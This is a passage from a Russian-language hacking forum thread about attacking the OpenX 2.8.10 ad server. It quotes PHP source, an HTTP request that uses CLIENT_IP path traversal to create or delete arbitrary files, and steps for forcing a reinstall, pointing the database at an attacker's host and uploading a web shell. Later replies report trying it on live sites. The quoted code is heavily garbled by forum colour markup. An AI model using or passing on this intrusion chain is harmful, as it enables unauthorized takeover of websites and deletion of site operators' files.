COLOR][COLOR="#0000BB"]$desturl[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$aPos[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$destparams[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]],[/COLOR][COLOR="#0000BB"]$aPos[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]] =[/COLOR][COLOR="#0000BB"]$desturl[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$destparams[/COLOR][COLOR="#007700"];

}

} else {

[/
COLOR][COLOR="#0000BB"]parse_str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$qs[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"]);

}

if ([/COLOR][COLOR="#0000BB"]$dest[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'dest'[/COLOR][COLOR="#007700"]]] =[/COLOR][COLOR="#0000BB"]$dest[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'n'[/COLOR][COLOR="#007700"]]]) ?[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'n'[/COLOR][COLOR="#007700"]]] :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

if (empty([/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"])) {

[/
COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]= isset([/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'n'[/COLOR][COLOR="#007700"]]]) ?[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'n'[/COLOR][COLOR="#007700"]]] :[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

}



if
(!empty([/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]) && !empty([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'vars'[/COLOR][COLOR="#007700"]]][[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]])) {



[/COLOR][COLOR="#0000BB"]$aVars[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]stripslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$conf[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'var'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'vars'[/COLOR][COLOR="#007700"]]][[/COLOR][COLOR="#0000BB"]$n[/COLOR][COLOR="#007700"]]));



foreach
([/COLOR][COLOR="#0000BB"]$aVars[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {

if (!isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]])) {

[/
COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"];

}

}

}

[/
COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$aGet[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 

Параметр проходит через stripslashes, и проблем с магическими кавычками быть не должно, в крайнем случае можно самим наслешировать параметр.

Если мы отправим _GET[n]=data, то мы можем прогнать через unserialize значение куков OAVARS[data], но при условии, что OAVARS в конфиге не изменено.

Чем это нам поможит? Попробуйте выполнить этот код:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]foo[/COLOR][COLOR="#007700"];

}

}

[/
COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'O:9:"someClass":1:{s:3:"foo";s:4:"abcd";}'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$u[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$s[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 

Он выведет abcd, а без unserialize ничего не выведет. Выполняем print_r(get_declared_classes()) - сейчас у нас подключен только phpSniff. Стоп, а что за phpSniff?

phpSniff Располагается в /plugins/deliveryLimitations/Client/lib/phpSniff/, при этом он распаковывается позже, а не нахоится там сразу-же в стандартных исходниках.

Если мы исследуем OpenX, то мы будем исслеовать и phpSniff.

index.php:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]$GET_VARS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cc'[/COLOR][COLOR="#007700"]],

[/
COLOR][COLOR="#DD0000"]'default_language'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$GET_VARS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'dl'[/COLOR][COLOR="#007700"]],

[/
COLOR][COLOR="#DD0000"]'allow_masquerading'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]$GET_VARS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'am'[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$client[/COLOR][COLOR="#007700"]=& new[/COLOR][COLOR="#0000BB"]phpSniff[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$GET_VARS[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'UA'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$sniffer_settings[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 

phpSniff:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]_check_cookies[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$check_cookies[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_default_language[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$default_language[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_allow_masquerading[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$allow_masquerading[/COLOR][COLOR="#007700"];

} else {

[/
COLOR][COLOR="#FF8000"]// for backwards compatibility with 2.0.x series

[/COLOR][COLOR="#0000BB"]$run[/COLOR][COLOR="#007700"]= (bool)[/COLOR][COLOR="#0000BB"]$settings[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 

IP:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]_set_browser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ip'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]);

}

[/
COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 

И самое главное:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]_check_cookies[/COLOR][COLOR="#007700"])

{[/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_temp_file_path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]property[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ip'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]'r'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//var $_temp_file_path = '/tmp/'; // with trailing slash

[/COLOR][COLOR="#007700"]if(![/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"])

{[/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_temp_file_path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]property[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ip'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]// make sure we have a valid file pointer

[/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'phpSniff_session'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'ss'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'phpSniff_stored'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'st'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]()+[/COLOR][COLOR="#0000BB"]3600[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]24[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]365[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$QS[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'QUERY_STRING'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$script_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PATH_INFO'[/COLOR][COLOR="#007700"])?[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'PATH_INFO'[/COLOR][COLOR="#007700"]):[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SCRIPT_NAME'[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]is_integer[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strpos[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strrev[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$script_path[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]"php.xedni/"[/COLOR][COLOR="#007700"]))&&![/COLOR][COLOR="#0000BB"]$pos[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$script_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]strrev[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strrev[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$script_path[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]9[/COLOR][COLOR="#007700"]));

}

}

[/
COLOR][COLOR="#0000BB"]$location[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'SERVER_NAME'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]$script_path[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]$QS[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'?'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$QS[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:[/COLOR][COLOR="#0000BB"]$location[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);

exit;

} elseif([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#FF8000"]// we only want to proceed if we have a file pointer

[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_temp_file_path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]property[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ip'[/COLOR][COLOR="#007700"]));

[/
COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_set_browser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ss_cookies'[/COLOR][COLOR="#007700"],isset([/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'phpSniff_session'[/COLOR][COLOR="#007700"]])?[/COLOR][COLOR="#DD0000"]'true'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'false'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]_set_browser[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'st_cookies'[/COLOR][COLOR="#007700"],isset([/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'phpSniff_stored'[/COLOR][COLOR="#007700"]])?[/COLOR][COLOR="#DD0000"]'true'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]'false'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]// delete the old cookies

[/COLOR][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'phpSniff_session'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'phpSniff_stored'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]);

}

}

}

[/
COLOR][COLOR="#0000BB"]?>

[/COLOR][/COLOR] 

Мы можем создавать пустые файлы на сервере, а так-же удалять то, что нам нужно:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//Если файл не существует - он создается, иначе - удаляется

[/COLOR][COLOR="#0000BB"]GET[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]plugins[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]deliveryLimitations[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]Client[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]lib[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]phpSniff[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]index[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]cc[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]asdf HTTP[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]1.1

Host
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]127.0.0.1

User
[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]Agent[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]IE

Accept
[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]html[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]xhtml[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]xml[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]xml[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]q[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0.9[/COLOR][COLOR="#007700"],*[/COLOR][COLOR="#FF8000"]/*;q=0.8

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

CLIENT_IP: /../tmp/path

Cache-Control: max-age=0

[/COLOR][/COLOR] 

Теперь нам нужно раскртие пути, в phpSniff установлено E_ALL(index.php?UA[]), только вот display_errors на удаленном сервере похоже что off.

Хитрим:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]grep[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]rnw[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#DD0000"]"display_errors"[/COLOR][COLOR="#007700"]*/[/COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/

*/[/
COLOR][COLOR="#0000BB"]openx[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]2.8.10[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]admin[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]plugins[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]openXWorkflow[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]bootstrap[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]ini_set[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'display_errors'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/
COLOR][/COLOR

Имеется раскрытие пути, смотрим путь - http://***/ox/www/admin/plugins/openXWorkflow/application/bootstrap.php

Имеем /home/ox/

Остается только удалить что-то полезное, что даст нам переустановить OpenX и залить шелл, возможно успев сохранить конфиг т.е. не приченяя вред ресурсу.

Файл /home/ox/var/INSTALLED отвечает за это, однако удалить его оказалось недостаточно.

Цитата:

Сообщение от None
Firefox определил, что сервер перенаправляет запрос на этот адрес таким образом, что он никогда не завершится.

Теперь, ВНИМАНИЕ, что бы запустить инсталяцию следует:
  • Удалить файл INSTALLED
  • Создать файл UPGRADE
  • Удалить файл default.conf.php

    В нем находится:

    PHP код:

    PHP:
    [
    COLOR="#000000"];[COLOR="#0000BB"]

    [/
    COLOR];*** DO NOT REMOVE THE LINE ABOVE ***

    realConfig="127.0.0.1"

    [/COLOR

  • Прописать в hosts: *.*.*.* asdf
  • Перейти на http://asdf/path/to/openX/install.php?action=welcome
Если вдруг во время переустановки у вас не хватит прав на каталоги , можно вернуть всё обратно по этой-же инструкции, + подложив за место default.conf.php пустой файл.

Идем дальше, нам необходимо создать базу MySQL, только вот к этому хосту мы не имеем доступа, и нам придется указывать наш удаленный хост, только не забудте права обрезать

Перекачка данных на базу займет длительный объем времени.

Совершаем действие в ещё нескольких пунктах, минута и мы в админке.

Заливаем шелл по этой инструкции от (dm) - /showpost.php?p=1629085&postcount=2

Чистим каталог var, где находится asdf.conf.php, а вот главный конфиг остается незатертым.

XAMEHA 05.02.2013 08:34

Спущено, прикрепите к теме этой CMS.

maxim2142 13.02.2013 21:44

*Плохие слова*....это было гениально и занимательно %)

BestAV 27.02.2013 05:43

Цитата:

Сообщение от XAMEHA
XAMEHA said:
Спущено, прикрепите к теме этой CMS.

Не работает с заглавными буквами. Strtolower всё режет.

Dexec 13.04.2013 19:11

опробовал на нескольких сайтах пока результата нет ( при каких условиях бага работает ? не создает и не удаляет файлы ( если кто может помочь плз пм (

Грабитель 13.04.2013 19:17

Цитата:

Сообщение от Dexec
Dexec said:
опробовал на нескольких сайтах пока результата нет ( при каких условиях бага работает ? не создает и не удаляет файлы ( если кто может помочь плз пм (

Думаю, уже не при каких, ибо тогда не имело смысла багу спускать в паблик.

А так хоть автор покичится своими знаниями, покажет всю свою крутость школоте.


Время: 23:54